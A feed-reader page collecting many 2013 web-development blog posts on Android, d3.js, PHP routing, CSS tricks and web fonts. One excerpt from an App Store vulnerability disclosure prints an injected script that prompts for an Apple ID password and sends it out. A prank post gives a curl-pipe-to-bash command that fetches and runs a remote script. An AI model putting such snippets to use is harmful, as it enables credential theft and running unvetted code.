46284 items (36433 unread) in 36 feeds
Planet Gadget
(135 unread)
Familie
(1324 unread)
Wolf De Waele
(13 unread)
Witch
(1282 unread)
NetlashCollegas
(3891 unread)
zrlnd
(111 unread)
Dextrose
(126 unread)
Druivensuiker
(52 unread)
Renoveren & Restaureren
(81 unread)
Mijn Nikon D200
tys' comment
(29 unread)
Erik Bauffman
(48 unread)
Netlash Developers
(2 unread)
Wolf's Little Store
(504 unread)
Netlash Designers
(8 unread)
Bram Vanderhaeghe
(12 unread)
Bram.us
(1872 unread)
NetlashStagiairs
(368 unread)
Artueel blog
(88 unread)
Intro blog
Ben's Blog
(13 unread)
mister Superb
(124 unread)
blog.wardonline
(6 unread)
Fun
(23469 unread)
NetlashCollegas (100 unread)
Just a quick note about the Fronteers meetup next week (see earlier post).
We had 100 people who reserved their spot, and 20 people on the waiting list. We got word from Thomas More that they have room for 150 people. So that means there’s 30 spots left.
A few weeks ago Coolblue started selling the Google Nexus in Belgium. It used to be that you couldn’t order it here – some people went through quite a bit of hassle to get one.
After my previous Android experience (an HTC Desire S) - I was quite relieved to see that Android has grown quite a bit to a more mature and stable platform.
I’m using the Nexus as my primary phone these days and I must say I quite like the experience.
First and foremost, I love the big screen. I used to be in the “WTF is that in your pocket”-crowd but really, when you use your smartphone as a pseudo-tablet for watching videos and reading articles a bigger screen is a better experience.
Notification systemThe notification system is the #1 best thing about Android. I never use the iOS notification center since it’s so bad. But Android has a nice system where you can swipe away a single notification or dismiss all notifications. Much better than the tiny touch target in iOS’s notification center.
Global sharingThe sharing system between apps is also much better. It’s a lot more “system-wide” than iOS i.e. if you use an app like Pocket once you install it, seemingly every other app can share to Pocket.
Sharing data between apps is often more cumbersome in iOS, where you have to go through hacky bookmarklet ways or rely on the developer to have provided sharing between the exact combination of app X and app Y.
Quality of apps/Holo UIIn terms of UI, more and more apps are respecting the Holo UI guidelines. It’s very flat which sometimes makes it unclear what is tappable and what’s not but overall it’s a well documented and well thought out system.
I’ve mostly used “big name” apps so far like Twitter, Facebook, Foursquare and Instagram.
Overall, their quality is great but sometimes it seems like the Android version is playing catch-up with their iOS counterpart (and losing).
Having seen (and been in) many projects where this exact situation was the case this doesn’t come as a surprise.
Some apps (like DoubleTwist’s Alarm Clock and Instagram) look like a bizarro clash between Android 2.3, Android 4 and iOS where I’m not really sure if the designer ever cared about the Android design guidelines.
I know this is the work of some big name designers (hello Tim and Sebastiaan) but I am wondering what their line of thinking is to not follow Holo. Maybe because the rest of the world is seeing Samsung’s TouchWiz and HTC’s sense interface, both of which have an abundance of shadows and gradients.
Advanced features and tinkeringWhen Android fans say that iOS has been stuck for years I get what they are talking about.
I don’t necessarily agree with that statement but there are some features in Android that are just really nice.
For example, Android apps auto update in the background.
Google Play is wonderful. You can send apps to download on your device through a website. Developers can comment on app store reviews.
What’s also nice with Android is that you can “tinker” a bit with it. If you want the weather to show up on your homescreen, you can do so.
My iOS home screen is a ridiculous combination of app folders and is nowhere near what I want on my homescreen, which is mostly quick access to system functions like camera/flashlight/WiFi/bluetooth.
The fact that apps can access more system functions comes with a the obvious downside of instability. I’ve experienced a few app crashes which might be related to some of the widgets I’ve installed (I used Widgetsoid).
ConclusionI’m happy enough to be using the Nexus 4 as my primary phone, which for me says a lot. Google I/O is around the corner. I’m excited what the future holds for Android.
Ghostlab synchronizes scrolls, clicks, reloads and form input across all connected clients. This means what you’re testing is not the simple page load, but the full user experience.
The concept behind it is dead simple actually: start a webserver serving the project and inject some .js which keeps all connected browsers in sync using websockets.
I use a trick with co-workers when we’re trying to decide where to eat for lunch and no one has any ideas. I recommend McDonald’s.
An interesting thing happens. Everyone unanimously agrees that we can’t possibly go to McDonald’s, and better lunch suggestions emerge. Magic!
Remember: There are no bad ideas while brainstorming!
(via ★)
Responsive Inspector is a simple Google Chrome extension that allows viewing media queries of visited websites. It is very useful when developing responsive web layouts as it can visually show what resolutions are defined in css stylesheets.
When we released our very first game, Game Dev Tycoon yesterday, we did something unusual and as far as I know unique. We released a cracked version of the game ourselves, minutes after opening our Store.
The cracked version is nearly identical to the real thing except for one detail … as players spend a few hours playing and growing their own game dev company, they will start to see the message pictured above, styled like any other in-game message.
And then the developers started looking up threads online where (pirate) users are complaining about them being affected by piracy and how hard it ruins them. Some hilarious stuff!
Above that I don’t see any reason why one would not buy it: it’s reasonably priced (7 EUR), DRM Free, and you can run it on the default threesome of platforms (Win/OS X/Linux).
New GTA V Teaser. Looking forward to this one!
I’m looking for framework/tool recommendations for putting together a mobile web app prototype.
One of the projects on my plate right now is designing a native iOS, native Android and mobile web app.
I’m doing most of my work in Photoshop but it feels elaborate to be designing each and every screen in it. Like my other projects these days I intend to only design the visual “styles” in it and make the rest in code.
However, this project being a “web app that looks like a native app but is not” (think forecast.io) poses some problems that I didn’t have before namely: a lot of animation, a single page app, multi touch events, etc.
I am putting together some code to form my own framework for this but there are a lot of missing parts. The genius of Hammer.js leads me to believe that there must be more tools out there that are brilliant yet that I never used before.
I don’t want to be writing logic that already exists out there (and probably in a much better form) i.e. reinventing the wheel.
Therse are the main things I’m looking for:
Any other suggestions within the theme would also be cool. Who’s got some advice?
Definitely needs a I’m just clinking with you out of politeness but really don’t (want to) know you-button to prevent becoming friends after all 
(via teusje)
The Fronteers #d3js meetup is almost selling out faster than WWDC: in less than a day over 80 people signed up making this the most popular Fronteers Belgium event so far.
I wanted to host a small event (see) and now we have this – great! Toon will be giving an intro to D3js. Andries will tell you what it’s like to run a studio that focusses on interface design and data visualisation.
In between there will be some demos of awesome d3 work by Bart and Piet. And I’ll also show a bit of what I did recently.
Don’t forget to sign up and see you there!
Slides (with notes in Dutch) of a talk I gave at a recent Fronteers Meetup covering my love for mapping (projections and coordinate systems), Google Maps, and working with geodata.
The people over at forecast.io on how often they receive mails from people looking for their app in the App Store where it is not to be found:/p>
You don’t get Forecast from the App Store: just go to http://forecast.io/ on your phone, and you’ll be given instructions on how to download it.
It’s 2013, and mobile browser technology has advanced tremendously in the past few years: hardware accelerated transforms and animations have made it easy to create perfectly smooth, jitter-free, interfaces, and there is no question in my mind that CSS is a more powerful way to layout dynamic content than Interface Builder.
Also contains a set of very good/practical pointers (CSS/JS/etc.) one can implement. That -webkit-overflow-scrolling: touch; tip for example is pure gold!
Don’t agree with the first part of their title though: people (including me) will label “apps installed from the web” or “apps built with web technologies” as “web apps” which you indeed can install locally, straight from the web. — Guess they don’t agree themselves either, as their promo pic is named webapp1.jpg …
Remy Sharp on his stance to not include jQuery by default anymore:
The point is that today we have features natively available, and I’m trying to consider my audience before dropping in jQuery by default
Yet again one of the reasons why I teach my students bare/vanilla JS next to learning them to work with jQuery.
Related: “JavaScript Developer” →
People often build beautiful sites with multiple easy-to-use JavaScript libraries. Then, when it comes to addressing frontend performance, suddenly those libraries are an enormous download that the users are forced to bear.
Before you go worrying about how to minify every last library or shave tests out of Modernizr, try and see if you can remove just one photo from your design. It will make a bigger difference.
FlipperBot, a robot designed to emulate the strategies employed by young sea turtles in order to traverse both firm terrain and sand with equal ease.
Twitter’s music app is beautiful, in that now-tiresome way apps from VC-backed companies are required to be, sacrificing utility for aesthetics and looking dated as soon as it hits your neighborhood app store. That’s fine, they’ve got plenty of designers to restyle it every 18 months.
Still have to test it – it’s U.S. only for now. Here’s Jim Ray’s well written opinion.
Two salesmen whose careers have been torpedoed by the digital age find their way into a coveted internship at Google, where they must compete with a group of young, tech-savvy geniuses for a shot at employment.
To hit 60fps, we sometimes need to go beyond JavaScript as the sole performance bottleneck for our pages and spend more time investigating paint and layout issues – styles might actually be the core cause of our sluggish performance.
The H shortcut within the Developer Tools sure comes in handy!
DevTools: Visually Re-engineering CSS For Faster Paint Times →
Profiling Long Paint Times with DevTools’ Continuous Painting Mode →
Early July 2012, I reported to Apple numerous vulnerabilities related to their App Store iOS app. Early March Apple finally issued a fix for it and turned on HTTPS for the App Store. I am really happy that my spare-time work pushed Apple to finally enabled HTTPS to protect users. This post discuss the vulnerabilities I found.
Attacks included Password stealing, App swapping, App fake upgrade, Preventing application installation, and Privacy leak mdash; All made possible by simply intercepting and manipulating the HTML that’s being used by the App Store app.
<script>
password = prompt("Apple ID Password","");
var s = document.createElement('script');
s.type = "text/javascript";
s.src = "fakepassword=" + password;
var script = document.createTextNode(s);
document.getElementsByTagName('head')[0].appendChild(s);
</script>May this be a lesson for all those offering services out there to enable SSL and route all traffic over HTTPS.
Apple finally turns HTTPS on for the App Store, fixing a lot of vulnerabilities →
Those who believe that the floppy cannot represent saving a document because nobody uses real floppy disks anymore miss an important point: while symbols initially piggyback on the meaning we assigned to a material object in order to stand in for something more abstract, once a symbol is used often enough, the symbol itself is enough to carry meaning, and the material object is no longer important.
In Defence of the Floppy Disk Save Symbol →
(via Cameron Moll)
Jetstrap is a 100% web-based interface building tool for Twitter Bootstrap. No software to download, just log in and build. Your work is accessible from anywhere.
Montage of the user interfaces appearing in Oblivion
Related: Oblivion 2013 Extensive Behind the Scenes Inside Look →
Five years ago I was working at a small web design firm in Ghent: Netlash (now Wijs). It was very successful – over a two year period there was a new hire every 2 months.
It was a nice time in my career – we were doing small websites for small companies and started getting bigger and bigger projects every month.
At some point, I was told we were going to make the AB Concerts website. I was excited since this was my favorite concert venue and I really wanted to make this something great.
My boss and the information architect (this is what we called our UX person) came up with a good concept that added a social network layer on top of a good informative site. It was a bit ahead of it’s time but still stands.
Unfortunately, the design was going to be done by another company… that mainly specialized in print and advertising. I got their initial proposal and suddenly I wasn’t so enthusiastic about the project anymore.
While these guys did quality work, what they produced was very print-like and there was no match between our vision of what it should be and what was designed. It had fixed frames with scrollbars and tiny text and no webfonts – you know the kind of design I’m talking about.
I decided to take matters into my own hands and proposed that we pitch another design to AB and let us handle the design part of the website.
Some designs including an interaction design for an audio player (where I discovered my true calling) and a light version which I actually like more than the dark one.
The idea was executed – I worked some nights and weekends to come up with what I thought was a good approach. I was coached by my design lead and we ended up with something web-like that could work.
Then at some point in the process I found myself in a meeting room with my boss, the ad agency and the people from AB. It was an awkward meeting since we “took” their work but in the end we got the web design part of the job.
It’s really impossible to separate the design and building part of a website and come up with a good end result.
We spent a ton of hours collectively making the website great. This was one of those projects where I could feel the passion from the team in a way that just wasn’t there when we were making sites for hospitals and lawyers. Subject matters.
I remember the solid relationship I had with the lead programmer on the project. It was a bit of a ping pong game – I would design a small bit and he would develop it. Repeat. He went on to co-found his own company.
I remember struggling with sIFR/Flash and Cufón to get a custom font for the headings. Things are easy these days with @font-face and Typekit!
I remember the “profile” page which had so many variations that I ended up designing everything in the browser since that made more sense. These days I seem to be designing most projects in the browser.
I remember that the site eventually won a usability award.
And what I’m most proud of is that the design still stands after five years.
(But to be honest, now it’s really time to modernize some things!)
A service for your website that makes it surprisingly easy to collaborate in real-time.
By MozillaLabs. Just include a tad of JavaScript and boom, instant collaboration!
(via teusje)
Still looking forward to this one.
There’s some code I’ve been using over and over when building HTML prototypes, mostly to show UI changes, for example:
Over the weekend I made jQuery plugins from that code. I’d figure I’d share it on Github so people can use the code and improve upon it.
jquery.extendedinput.js provides some generic markup patterns for HTML prototyping.
View the online demo.
jquery.multiadder.js provides a generic markup pattern to prototype “multi adders”.
A data attribute (data-maxrows) optionally limits the amount of items.
View the online demo.
jquery.bootstrap.simple.lightbox is a simple image lightbox using jQuery and Bootstrap.
View the online demo.
(via teusje)
Using Inactive Account Manager, you can decide if and when your account is treated as inactive, what happens with your data and who is notified.
A few years ago I stumbled upon a WordPress plugin that did the same, can’t find it back though :-S
Ninja Jamm is the new remix App for iOS from Ninja Tune and Seeper. Featuring touch and gesture controls with a range of instant effects and remix modes, users can interact with their favourite Ninja Tune releases in a whole new way, or start using the intuitive interface to re-imagine the song as they desire by mixing, glitching, looping and re-timing tracks
Gonna give this app from one of my favorite record labels a spin …
(via iso50)
Lately I’ve been using and exploring d3.js a lot, mostly as a modern charting solution for the web.
A screenshot of a chart I’ve made using d3js. In the actual app it animates nicely.
It’s a great project with one of the most solid APIs I’ve ever seen. I know a few developers who’ve been using it too.
We were wondering who else in Belgium is using d3. If you know someone using d3, please redirect them to this post. If you use d3.js yourself please comment on this post and make yourself known.
This is meant to gauge interest in a d3.js themed user group/meetup in Belgium.
(P.S. If you want to know what it is capable of check this out.)
There’s been some talk over on Twitter about choosing the right CMS. I’ve talked about why I choose WordPress. I want to delve a bit further into this in a blog post.
Expression Engine fans have been looking at Craft since, well, thing don’t seem to be going so well with Ellislab/Expression Engine.
I tried installing Craft and it didn’t work. I should take a look at it again when I find some more time and it’s out of beta.
Looking at the packages most Craft sites I would have to build would cost $600 since I would need “Publish Pro”, “Localize” and “Users”. These basic modules cost $149-$299.
Now, I’ve evolved from building €1000 websites a long time ago, but $600 is still a healthy cut from any small website budget.
So there is the issue of price. If it’s really a quality product I can live with that. But for me, the bigger reason why I’m hesitant is that I feel these guys are reinventing the wheel all over again. How exactly is this better than WordPress?
Craft has less features and every module costs money. Also, you are locked in a system where if development goes stale (hello Ellislab!) there is no way for the community to continue it. To their credit the core is a free product, but that doesn’t mean that everyone has the right to go and fork it.
It’s very unclear from the homepage what the licensing terms are. If you are going to release a commercial product based on licensing – please put the licensing terms on your website. This tells me these guys don’t have their legal down.
If the WordPress core team suddenly gets a disinterest in working on WP, a new core team will rise. This is the beauty of open source. If you spend time on releasing your own custom modules you will get back from the community.
I’m hearing some arguments about the cleanliness (or rather, dirtiness) of WordPress’ code base. That you can’t use any HTML you want. This is simply untrue. What is true is that some of the PHP in WordPress a bit old school because of legacy reasons. That’s pretty normal: WordPress is celebrating it’s 10th birthday soon.
It’s true, WP is not the best tech stack for making applications, it’s meant to be a CMS for magazine/news/blog/business type websites. And for that, it’s great.
For years, I’ve been using WordPress. While it has it’s share of problems it’s evolved into a full blown CMS. The WordPress core team has been doing a fantastic job. For example, a few months ago WordPress 3.5 was released with much better media management.
There are tons of great plugins like ACF, WP Super Cache and Yoast SEO.
The latter is a good example of community: while I’m personally 100% disinterested in SEO, some of my clients are, so I can serve them with this plugin. It will take a while until similar plugins surface for Craft, if ever.
There is no way a small team with a commercial product can achieve these levels of greatness. And if they ever do, they are just playing catchup. In 3 years WordPress will be bigger and better too.
You only get greatness through openness. For CMSes, the days of closed source development are long over.
For one of the courses I teach I was in need of a PHP Router. Having explored the available routers out there I found they either were:
GET you know)
In the end I decided to write one myself which I’ve polised for publication over the past few days. The result is bramus/router, a lightweight and simple object oriented PHP Router. A typical implementation of the class is this:
// Require composer autoloader
require __DIR__ . '/vendor/autoload.php';
// Create a Router
$router = new \Bramus\Router\Router();
// Custom 404 Handler
$router->set404(function() {
header('HTTP/1.1 404 Not Found');
echo '404, route not found!';
});
// Static route: / (homepage)
$router->get('/', function() {
echo '<h1>bramus/router</h1><p>Try these routes:<p><ul><li>/hello/<em>name</em></li><li>/blog</li><li>/blog/<em>year</em></li><li>/blog/<em>year</em>/<em>month</em></li><li>/blog/<em>year</em>/<em>month</em>/<em>day</em></li></ul>';
});
// Dynamic route: /hello/name
$router->get('/hello/(\w+)', function($name) {
echo 'Hello ' . htmlentities($name);
});
// Dynamic route with (successive) optional subpatterns: /blog(/year(/month(/day(/slug))))
$router->get('/blog(/\d{4}(/\d{2}(/\d{2}(/[a-z0-9_-]+)?)?)?)?', function($year = null, $month = null, $day = null, $slug = null) {
if (!$year) { echo 'Blog overview'; return; }
if (!$month) { echo 'Blog year overview (' . $year . ')'; return; }
if (!$day) { echo 'Blog month overview (' . $year . '-' . $month . ')'; return; }
if (!$slug) { echo 'Blog day overview (' . $year . '-' . $month . '-' . $day . ')'; return; }
echo 'Blogpost ' . htmlentities($slug) . ' detail (' . $year . '-' . $month . '-' . $day . ')';
});
// Thunderbirds are go!
$router->run();(Yes, you must get your PCRE mojo on in order to define dynamic routes)
bramus/router also supports before route middlewares, before router middlewares, and after router middleware. These features allow one to integrate bramus/router with their favorite library (logging, templating, …):
$router = new \Bramus\Router\Router();
$tpl = new \Acme\Template\Template();
$router->get('/', function() use ($tpl) {
$tpl->load('home.tpl');
$tpl->setdata(array(
'name' => 'Bramus!'
));
});
$router->run(function() use ($tpl) {
$tpl->display();
});An extensive writeup of these features is available on GitHub.
A final note worth mentioning is that bramus/router is installable via Composer and is unit tested.
bramus/router (GitHub) →
bramus/router on Packagist →
bramus/router Travis CI build status →
JSON.stringify() has more than one argument:
var person = {"name":"Jim Cowart","location":{"city":{"name":"Chattanooga","population":167674},"state":{"name":"Tennessee","abbreviation":"TN","population":6403000}},"company":"appendTo"};
JSON.stringify(person, ["name", "company"], 4);
/* produces:
"{
"name": "Jim Cowart",
"company": "appendTo"
}"
*/What You Might Not Know About JSON.stringify() →
(via tweeted:
)
Everyone has one
ALT+SHIFT+CMD+S
In case you want to know: here it’s PINKIE+MIDDLE+INDEX+THUMB. Lately I’ve been using RING+MIDDLE+INDEX and the S with the right hand INDEX/MIDDLE more often as that’s less stressful/more natural on the fingers.
If you want to start a business or launch a new project, you need to be able to describe your effort in four words. — Forget the elevator pitch. You only get four words.
Related: The New Résumé: It’s 140 Characters →
(via tweeted:
)
Stunning webapp allowing one to create Google Streetview Hyperlapses
Hyperlapse — a technique combining time-lapse and sweeping camera movements typically focused on a point-of-interest
The results are amazing:
Google Streetview Hyperlapse →
Hyperlapse.js source (GitHub) →
(via tweeted:
)
Barry makes it really simple to capture a full length webpage. We scroll the full length of the page and save it to an image for you to use.
Algorithmic dubstep generator. All DSP is done in Javascript – no samples.
JavaScript Dubstep Generator →
(via tweeted:
)
We come across a lot of great articles on creating, testing and maintaining large JavaScript applications. This page is a continously updated list of articles that help explain the syntax of JavaScript, how to organize your projects, how to test your code, and what’s on the horizon.
(via tweeted:
)
$ csscss path/to/styles.css path/to/other-styles.css
{.contact .content .primary} and {article, #comments} share 5 rules
{.profile-picture}, {.screenshot img} and {a.blurb img} share 4 rules
{.work h2:first-child, .archive h2:first-child, .missing h2:first-child, .about h2, .contact h2} and {body.home h2} share 4 rules
{article.blurb:hover} and {article:hover} share 3 rulesCSSCSS will parse any CSS files you give it and let you know which rulesets have duplicated declarations
Chardin.js is a jQuery plugin that creates a simple overlay to display instructions on existent elements. It is inspired by the recent Gmail new composer tour which I loved.
Anyone who still believes that Google is all about giving everything away for free, hasn’t really paid attention to just how much Google has changed. Google is not a free service anymore. It’s a premium service where you pay for what you use via Google Drive.
Lengthy article definitely worth your time; Highly recommended read.
The Culture of Free and The Future of Google →
(via tweeted:
)
Fluid lets you create a Real Mac App (or “Fluid App”) out of any website or web application, effectively turning your favorite web apps into OS X desktop apps.
The ‘Application Data folder’ is a special folder that is only accessible by your application. Its content is hidden from the user, and from other apps. Despite being hidden from the user, the Application Data folder is stored on the user’s Drive and therefore uses the user’s Drive storage quota. The Application Data folder can be used to store configuration files, saved games data, or any other types of files that the user should not tamper with.
jQuery Plugin to embedding GitHub gists:
<code data-gist-id="gist-id"></code>One can include single gists, individual files of a gist, or specific line numbers of gists.
Admit it, 3D is cool. But, you know what’s cooler? 2D. I love WebGL, but unfortunately it doesn’t work everywhere.
This lighting simulation can be configured to use either the 2D context of a canvas element or an array of SVG polygons to draw the triangles.
Amatorski, one of Belgiums finest bands, has been fascinated by the way the internet is deleting borders. They collaborated with We Work We Play to create an art project bringing together music and visuals, in a mix of online and offline interaction.
Implemented using a custom JavaScript Metronome and Howler.js;
Rendered on <canvas> with Delaunay triangulation on top;
Powered by node.js
By using <datalist>, you can define a list of suggestions you want the user to select from. Users can optionally select from your suggestions as well as typing it by themselves.
Turns out you can also combine it with the range, color, date, etc. input types
We are all familiar with URLs: the string uniquely identifying the requested document. However, we don’t always consider they are more than that: URLs are user facing and should be considered important UI elements.
They should be clean, understandable, semantic, hierarchical and not excessively long.
And that’s why I have a (tiny) chapter dedicated on URL Design in the web courses I teach.
It’s also the reason why tweeted:
: thinking about an API forces you to structure & prioritize your data/content. When done right, structured data bears nice URLs — it’s a healthy side-effect.
(via A List Apart)
“I, For One, Welcome Our New Robot Overlords” comes to mind …
Related: Breaking Bad, 1995 Style →
I’m concerned about two things: one, that audiences who have never been exposed to VR or HMDs have unrealistic expectations and will be disappointed when they see the real thing; two, that software ported from the desktop world will carry over baggage from that world that will lead to a sub-optimal experience.
Watch the video. Worth your time.
The reality of head-mounted displays →
(via tweeted:
)
Openness and success are not compatible. Openness does not scale, no matter how hard you try.
Related: Why What You’re Reading About Blink Is Probably Wrong, a Chrome Developer talking about the aforementioned Blink:
When landing a patch in both WebKit and Chromium stretches into a multi-day dance of flags, stub implementations, and dep-rolls, that’s many steps away [from directness].
…
In all honesty, we may have paid too high a price for too long because of this desire to stay close to WebKit.
Think about it.
Servo is an attempt to rebuild the Web browser from the ground up on modern hardware, rethinking old assumptions along the way. This means addressing the causes of security vulnerabilities while designing a platform that can fully utilize the performance of tomorrow’s massively parallel hardware to enable new and richer experiences on the Web. To those ends, Servo is written in Rust, a new, safe systems language developed by Mozilla along with a growing community of enthusiasts.
Written in Rust. No mention of what will happend to Gecko whatsoever in the announcement
Mozilla and Samsung Collaborate on Next Generation Web Browser Engine →
The Servo Parallel Browser Project (GitHub) →
Edit your HTML locally, and your website will always be up-to-date.
Related: Using Dropbox as an automatic and free Web Publishing solution
A tad late, but here it is nonetheless: A collection of user styles that change the default rendering of websites. Perfect way to fool someone on April 1st.
Put these CSS definitions into your co-workers css overriding file. They will be applied to every website they visit. They are commented out by default, so make sure to uncomment your favourite ones!
Includes CSS to flip the entire site, flip all images, blur an entire site, etc.
Related: How to troll frontend web developers →
Related: Fool.js, a jQuery plugin containing some April Fools pranks to embed on your site.
Google just announced it’ll fork Webkit for use with Chrome/Chromium as it has become too difficult to add features to it as Chrome uses quite a different multi-process architecture than other WebKit-based browsers:
When Chromium started, our goal was to change as little of WebKit as possible, easing integration with the WebKit codebase. With Blink we are excited to make large-scale architectural changes to the code, without having to worry about breaking other consumers of WebKit.
When Opera announced they’re dropping Presto in favor of Webkit, they actually meant Blink (src).
Related: What is/isn’t Webkit?
iD is a new, friendly editor for OpenStreetMap. It offers newcomers an easy way into editing OSM and is intended to complement existing editing software.
Looks nice!
By leveraging this new JavaScript optimization technology (asm.js), Mozilla has been able to bring Epic’s Unreal Engine 3 to the Web. With this port, developers will soon be able to explore limitless possibilities when it comes to porting their popular gaming titles to the Web.
Mozilla is Unlocking the Power of the Web as a Platform for Gaming →
Koken is a free system designed for photographers, designers, and creative DIYs to publish independent websites of their work.
Also syncs with Adobe Photoshop Lightroom. Looks like an ideal CMS for photographers.
So how do you calculate your hourly rate? That’s easy, it’s the salary you want to make, divided by 52 weeks a year, divided by 40 hours a week. Simple!
Right, right?! It’s a tad more complex though:
Next to showing one how to calculate the minimum rate, it also holds some golden advice:
If you go below your minimum rate, even for a friend or charity, you are hurting yourself and your business. There is no shame in passing on work, if you are putting yourself in financial trouble.
curl -L https://raw.github.com/keroserene/rickrollrc/master/roll.sh | bash(via tweeted:
)
Whenever you find yourself with too many tabs, click the OneTab icon to convert all of your tabs into a list. When you need to access the tabs again, you can either restore them individually or all at once.
Might be a good alternative when having about 100 tabs open and having to switch to an other profile/browser/build to keep things speedy …
Alfred Dev Doctor is a really simple documentation helper for alfred.
Supports PHP, JavaScript, jQuery, HTML, CSS, node.js, Ruby, …
qrcode-terminal is a tiny npm module that allows you to encode text as a QR code and render it to a UNIX-compatible terminal.
// render QR code to the console
qrcode.generate('http://michaelbrooks.ca');
// return QR code as a string
qrcode.generate('http://michaelbrooks.ca', function (qrcode) {
console.log(qrcode);
});
With this tool you can create your own animated Sonic loader. Three graphics will appear below: An HTML5 Canvas running through Sonic, a regular GIF, generated via a modified version of SonicGIF (using jsgif), and a PNG Sprite.
SPINNERS!
Metropolitain is a visual and interactive experiment on the Parisian underground network
Métropolitain →
Métropolitain: a fresh outlook on Paris’ metro system →
From the Golden Gate Bridge to Alcatraz to the Bay Lights at night, see the Bay Area’s most iconic locations like you’ve never seen them before. Shot in 4K/”Ultra-HD,” Teton Gravity Research presents the first footage from their new RED Epic-equipped gyrostabilized camera platform: The GSS C520.
Automatically cycles between the various map projections.
Map Projection Transitions →
Based on Projection Transitions →
In 2012, a group of researchers at UCLA discovered they could make single-layer sheets of graphene by coating a DVD with graphite oxide and then “playing” the disc in a plain old DVD drive. And then in a happy accident, they found that graphene has ususually high supercapacitance properties, which could mean that graphene could be used, for example, as a mobile phone battery that lasts all day, charges in a few seconds, and can be thrown into a compost bin after use.
It can also spice things up when it comes to wireless networking 
(via kottke)
For the course Webscripting2 I’m lecturing at ikdoeict.be/KaHo Sint-Lieven, we’re working with Silex. Next to the slidedeck explaining Silex, all examples are freely available on GitHub (links at the bottom of this post)
The collection of examples start with the very basics of Silex and introduce more routing options and services as they continue.
Hello world showcasing the basic Silex app structure, dynamic routing, redirects, and error handlers.repository which acts as a database layer. Depends on the custom Service Provider knplabs/repository-service-provider (loaded via Composer).More examples are still in development. The examples are best studied along with the accompanying slides.
Webscripting2 – Serverside Scripting – Silex Code Fiddles →
Webscripting2 – Serverside Scripting – Course Materials →
Note: the course materials are best cloned locally. The fiddles are also included in that repository. Be sure to composer install all examples.
Événement is a very simple event dispatching library for PHP. It has the same design goals as Silex and Pimple, to empower the user while staying concise and simple.
Concise indeed. At the core it’s a tad above 50 lines of codes.
Listening for events:
$emitter->on('user.created', function (User $user) use ($logger) {
$logger->log(sprintf("User '%s' was created.", $user->getLogin()));
});Dispatching events:
$emitter->emit('user.created', array($user));@media only screen and (min-width: 960px) and (max-width: 970px) {
body {
-webkit-transform : rotate(180deg);
-moz-transform : rotate(180deg);
-o-transform : rotate(180deg);
transform : rotate(180deg);
}
}That’ll teach them, constantly resizing their browser windows and what not! — Puh!
(via)
- Set and remove breakpoints right in SublimeText
- See all console messages with level
- See object properties
- See a stack and all variables (local, global, closure)
- Evaluate selection on current call frame
- Live reload
wp-cli is a set of command-line tools for managing WordPress installations. You can update plugins, set up multisite installs, create posts and much more.
Once installed, you can run commands such as:
wp plugin install hello-dollywhich will output:
Installing Hello Dolly (1.5)
Downloading install package from http://downloads.WordPress.org/plugin/hello-dolly.1.5.zip ...
Unpacking the package ...
Installing the plugin ...
Plugin installed successfully.
Pusher is a hosted API for quickly, easily and securely adding scalable realtime functionality to web and mobile apps
It’s as easy as subscribing to a channel:
var channel = pusher.subscribe('my-channel');
channel.bind('my-event', function(data) {
alert('Received my-event with message: ' + data.message);
});and pushing messages to it:
pusher.trigger('my-channel',
'my-event',
{ "message": "hello world" }
);Libs for pushing messages exist for PHP, Ruby, JS, and .Net
Convert plain text documents written in HTML, Markdown, or LaTeX to PDF, Docx, RTF or ePub with a simple HTTP API.
Source is also available on GitHub and is ready to be deployed onto Heroku.
A lot of editors are scriptable in Python. And Firefox has remote capabilities. So we are building a python library that can be used by editors to interact with Firefox (desktop or mobile). We could for example add JS breakpoints from Vim, or edit the code of the current page from SublimeText.
Note that the page isn’t being reloaded but the changes are being transferred via the Dev Tools Protocol to Firefox which updates the CSS as if you’d change it via Firebug/the Dev Tools themselves.
Firefox CSS live editing, and a truckload of other new features — such a built-in jsfiddle/jsbin — are being planned for the next iteration of the Firefox Dev Tools.
Coding in the browser & controlling the browser from editors/IDEs →
Starting + Sustaining will help you plan, launch, and run your own web application with less pain and fewer mistakes.
By Garret Dimon of Sifter. If you like the aforementioned Bootstrapping a Software Product presentation you’ll love the book.
This is really cool: take the whole oevre of one author and build a sentence using Markov Chains based on two starting words. The picture above is a visualisation of the choices made.
The whole forest had been anesthetised, her temples wired, her senses stimulated, her eyes were not on Eva, not on Eva, not on Eva, not on anybody in that same realm, the land of dreams and nightmares.
Be sure to read the notes too, very interesting.
Remixing Noon →
Notes on remixing Noon, generative text and Markov chains →
In Firefox Nightly (22) you can now visualize the repaints the browser is doing.
For those who often enquire about my responsive grid “solution” — it’s about 10 lines of code. Not a problem that keeps me up at night
Tried a grid-based approach in a site that’s about to launch any time soon but found it conflicting with the mobile first idea: I’d be undoing the grid’s CSS in the narrowest layout and then re-applying them later on.
In the next project I’ll be sticking to the system I used before: general classes (like .unit or .col) and based on the context (wrapping element) I’d specify the needed width if the screen estate allows me.
Glad to see I’m not the only one using a simple solution.
On Responsive Layout and Grids →
David also gave an excellent talk at Responsive Day Out on Responsive Navigation. Be sure to check the video.
Caption image by Jono Mallanyk
OpenHack is a nice little meetup that promotes hacking around the world. Basically you get together with some fellow programmers take the time to hack on anything you want.
I went to the OpenHack in Kontich hosted by 10to1. I acted like I was a programmer and finally took the time to:
Good stuff – best of all as a programmer newbie I had +-10 programmers in the room to help me out in need (thanks for your help Tom!)
I’ll surely be coming to the next meetups.
This is meant as an informative entry-level post about font pricing. It’s “my case” of why to invest in good typography on the web – and in general.
Loosely defined, typography comes down to the choice of fonts, how type is laid out on a (web)page, the (size) relationship between the words and the letters, and how these letters are perceived.
You used to be limited in your font choice as a web designer: basically you could use Arial, Times, Courier, Trebuchet, Verdana and Georgia.
Then, browsers and font embedding techniques got better and now there is broad support for embedding custom fonts into websites.
When you buy a font, you’re buying a personal desktop license.
Basically you pay for you to be able to use it in print. A quality font usually costs around €40 for one weight. So if you need five weights for your branding you’re going to be paying around €200.
This buys you the right to use the font on one computer. You could use it to make your invoices or to brand your presentations. This is a one time cost.
If you have an organisation of 30 people and everyone needs to have the official fonts the absolute cost quickly becomes high. There are often volume discounts though.
Good typography is an investment – people should be able to comfortably read your communication.
Then there are web services that allow you to embed fonts. Some good web services are Typekit, Webtype and fonts.com.
They work by serving the font files from a remote server. A small piece of Javascript on your webpage fetches the remote font and then displays it on your site through the magic of CSS.
This is nice because we finally get to use all the cool fonts, but it’s also really a bad thing: you don’t want to fetch files from a remote server. It makes standard web performance techniques like caching harder, if not impossible.
Luckily there is a solution: self-hosted fonts. This should actually be the default way of doing things, but it’s not.
